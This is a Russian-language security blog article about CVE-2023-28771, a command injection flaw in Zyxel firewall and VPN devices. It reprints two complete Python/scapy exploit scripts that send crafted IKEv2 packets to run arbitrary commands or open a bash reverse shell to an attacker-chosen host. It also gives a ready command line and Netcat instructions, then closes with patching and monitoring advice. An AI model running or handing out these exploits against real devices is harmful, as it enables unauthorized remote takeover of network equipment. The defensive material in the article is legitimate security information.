Уязвимость CVE-2023-28771 в устройствах Zyxel
Уязвимость CVE-2023-28771 в устройствах Zyxel
Категория: Железо Теги: Уязвимости Опубликовано: 16 июля 2023

Уязвимость CVE-2023-28771 позволяет выполнять удаленно команды на устройствах Zyxel

Уязвимость CVE-2023-28771 позволяет несанкционированно выполнить команду операционной системы (OS Command Injection) в устройствах Zyxel ZyWALL/USG серий 4.60-4.73, VPN серий 4.60-5.35, USG FLEX серий 4.60-5.35 и ATP серий 4.60-5.35.

Общая информация

Уязвимость позволяет неавторизованному злоумышленнику удаленно выполнять некоторые команды операционной системы, отправляя специально сформированные пакеты на целевое устройство.

Уязвимость имеет критическую оценку CVSS 3.x - 9.8, что указывает на серьезность и потенциальную опасность для системы. Злоумышленник может использовать эту уязвимость для удаленного выполнения команд операционной системы на уязвимом устройстве.

Уязвимость относится к CWE-78 (Improper Neutralization of Special Elements used in an OS Command), что означает неправильную нейтрализацию специальных элементов, используемых в командах операционной системы. Это важно для понимания того, как именно происходит атака и как ее предотвратить.

Первый эксплоит для CVE-2023-28771

Первый эксплоит для уязвимости CVE-2023-28771 я взял отсюда.

Его код:

#!/usr/bin/python3
import sys
from scapy.all import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("rhost")
parser.add_argument("--cmd")
parser.add_argument("--lhost")
parser.add_argument("--lport")
args = parser.parse_args()

load_contrib('ikev2')

if args.cmd is not None:
	cmd = "\";bash -c \"" + args.cmd + "\";echo -n \""
elif args.lhost and args.lport:
	cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + args.lhost + "/" + args.lport + " <&1;\";echo -n \""
else:
	print("Check your syntax, and try again")
	sys.exit()


packet = IP(dst = args.rhost) / UDP(dport = 500) / IKEv2(init_SPI = RandString(8), next_payload = 'Notify', exch_type = 'IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload = 'Nonce', type = 14, load = "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload = 'None', load = RandString(68))

send(packet)

Эксплоит для уязвимости CVE-2023-28771, представленный выше, предназначен для демонстрации эксплуатации уязвимости на устройствах Zyxel ZyWALL/USG. Он использует библиотеку scapy Python для отправки пакетов IKE.

Этот эксплоит имеет два режима работы. Первый режим позволяет выполнить произвольную команду на уязвимом устройстве, указав аргумент "--cmd". Второй режим позволяет запустить обратную оболочку на удаленной системе, указав аргументы "--lhost" и "--lport" для указания IP-адреса и порта, на котором следует слушать обратную оболочку.

Чтобы защититься от этого эксплоита и уязвимости CVE-2023-28771, рекомендуется незамедлительно применить обновления, предоставленные производителем. Следуйте инструкциям производителя по обновлению фирмваре на затронутых устройствах.

Кроме того, важно следить за обновлениями безопасности, чтобы минимизировать риски и обеспечить безопасность сетевой инфраструктуры.

Эксплоит направляет специально сформированный пакет IKE (Internet Key Exchange) на уязвимое устройство. Пакет отправляется на порт 500 и использует протокол UDP для передачи данных.

Содержимое пакета состоит из нескольких полей и заголовков, которые используются в протоколе IKEv2. В эксплоите используются следующие поля:

  • IP-заголовок: указывает адрес назначения (rhost), куда будет отправлен пакет.
  • UDP-заголовок: указывает порт назначения, который равен 500.
  • IKEv2 заголовок: инициирует процесс установки IKE SA (Security Association). В эксплоите используются поля init_SPI, next_payload, exch_type и flags.
  • IKEv2_payload_Notify: содержит информацию об уведомлении в протоколе IKEv2. В эксплоите используется поле next_payload, type и load.
  • IKEv2_payload_Nonce: содержит поле Nonce, которое является случайным значением, используемым в процессе установки IKE SA.
  • В поле load пакета добавляется специальная строка, которая содержит команду для выполнения на уязвимом устройстве. В первом режиме работы (используя "--cmd") команда будет выполнена на уязвимом устройстве. Во втором режиме работы (используя "--lhost" и "--lport") устройство будет пытаться установить соединение с указанным IP-адресом и портом, чтобы создать обратную оболочку.

Этот эксплоит использует уязвимость в устройствах Zyxel ZyWALL/USG, которая позволяет злоумышленнику выполнять произвольные команды или создавать обратную оболочку на уязвимом устройстве.

Второй эксплоит для CVE-2023-28771

Второй эксплоит для уязвимости CVE-2023-28771 я взял отсюда.

Его код:

#!/usr/bin/python3
import sys
import argparse
import os
from scapy.all import *

# Redirect stderr to /dev/null to discard warnings
sys.stderr = open(os.devnull, 'w')

load_contrib('ikev2')

def send_ikev2_packet(destination, host, port):
    cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + host + "/" + port + " <&1;\";echo -n \""

    packet = IP(dst=destination) / UDP(dport=500) / IKEv2(init_SPI=RandString(8), next_payload='Notify', exch_type='IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload='Nonce', type=14, load="HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload='None', load=RandString(68))

    send(packet)

def main():
    parser = argparse.ArgumentParser(description='Send a custom IKEv2 packet')

    # Define command-line arguments with flags and help messages
    parser.add_argument('-t', '--target', required=True, help='Target system IP address')
    parser.add_argument('-l', '--lhost', required=True, help='Attacker\'s IP address (run Netcat on this host)')
    parser.add_argument('-lp', '--lport', required=True, help='Attacker\'s port number (run Netcat on this port)')

    args = parser.parse_args()

    send_ikev2_packet(args.target, args.lhost, args.lport)

if __name__ == '__main__':
    try:
        main()
    except:
        # Display the help message if there is an exception
        parser.print_help()
        sys.exit(1)

Этот эксплоит является Proof of Concept (PoC) для уязвимости CVE-2023-28771 и предназначен для тестирования и исследования протокола IKEv2 на уязвимых устройствах. Он основан на методиках эксплуатации, разработанных компанией Rapid7.

Для использования данного эксплоита потребуется установить Python 3.x и библиотеку Scapy. Можно клонировать репозиторий или загрузить файл скрипта.

После установки зависимостей можно отправить пользовательский пакет IKEv2, используя следующую команду:

python3 PoC-CVE-2023-28771.py -t <ip_цели> -l <ip_злоумышленника> -lp <порт_злоумышленника>

Замените <ip_цели> на IP-адрес целевой системы. Замените <ip_злоумышленника> на IP-адрес, где у вас работает Netcat для получения обратной оболочки. Замените <порт_злоумышленника> на номер порта, на котором Netcat слушает.

Netcat (nc) - это утилита командной строки, которая предоставляет возможности создания и управления сетевыми соединениями на уровне TCP/IP. Она может работать как клиент и как сервер, позволяя передавать данные через сеть между различными узлами.

Чтобы отправить пользовательский пакет IKEv2 на целевую систему с IP-адресом 192.168.1.100 и установить обратную оболочку на IP-адрес злоумышленника 192.168.130.12 на порту 3322, можно выполнить следующую команду:

python3 PoC-CVE-2023-28771.py -t 192.168.1.100 -l 192.168.130.12 -lp 3322

При этом должен быть запущен Netcat на указанном IP-адресе и порте для получения обратной оболочки. Примечание: Скрипт может потребовать прав администратора для отправки и получения сетевых пакетов, то есть запускать его нужно с sudo или от имени администратора.

Этот скрипт отправляет специально сформированный пакет IKEv2, который содержит поле load с командой для выполнения на уязвимом устройстве. В данном случае команда выполняет обратную оболочку на системе злоумышленника с помощью Netcat.

Чтобы защититься от этого эксплоита и уязвимости CVE-2023-28771, рекомендуется применить обновления, предоставленные производителем, и следовать инструкциям по обновлению фирмваре на затронутых устройствах. Также важно регулярно отслеживать обновления безопасности и применять их, чтобы минимизировать риски и обеспечить безопасность сетевой инфраструктуры.

Как защититься от CVE-2023-28771?

Вот некоторые рекомендации по безопасности для защиты от уязвимости CVE-2023-28771:

  1. Примените обновления: Убедитесь, что ваше устройство использует последнюю версию прошивки от производителя, которая содержит исправления для уязвимости. Проверьте рекомендации от Zyxel Corporation и примените обновления в соответствии с их инструкциями. Найти рекомендации можно используя номер уязвимости CVE-2023-28771.

  2. Ограничьте доступ: Рекомендуется ограничить доступ к уязвимому устройству только для доверенных сетей и адресов. Это можно сделать с помощью сетевых настроек, фильтрации трафика или использования механизмов аутентификации.

  3. Мониторинг сетевого трафика: Установите мониторинг сетевого трафика для обнаружения атак, связанных с уязвимостью. Можно использовать инструменты, такие как системы обнаружения вторжений (IDS) или системы обнаружения аномалий (ADS), чтобы определить подозрительную активность.

  4. Усиление брандмауэра: Проверьте настройки брандмауэра на устройстве и убедитесь, что они настроены для блокировки вредоносного трафика, который может использовать уязвимость.

  5. Обучение пользователей: Проведите обучение пользователей, чтобы они осознавали риски, связанные с открыванием подозрительных вложений в электронной почте или переходом по подозрительным ссылкам. Это поможет предотвратить атаки, основанные на социальной инженерии.

  6. Мониторинг угроз: Подписка на обновления и предупреждения о безопасности от производителя может помочь вам быть в курсе новых уязвимостей и получить необходимую информацию о предотвращении атак.

Настоятельно рекомендуется обратиться к руководству по безопасности от Zyxel Corporation и следовать их рекомендациям в отношении данной уязвимости. Также рекомендуется проконсультироваться со специалистом по информационной безопасности для получения более детальных рекомендаций, учитывая особенности вашей сетевой инфраструктуры и устройств.

Алексей Черемных
1487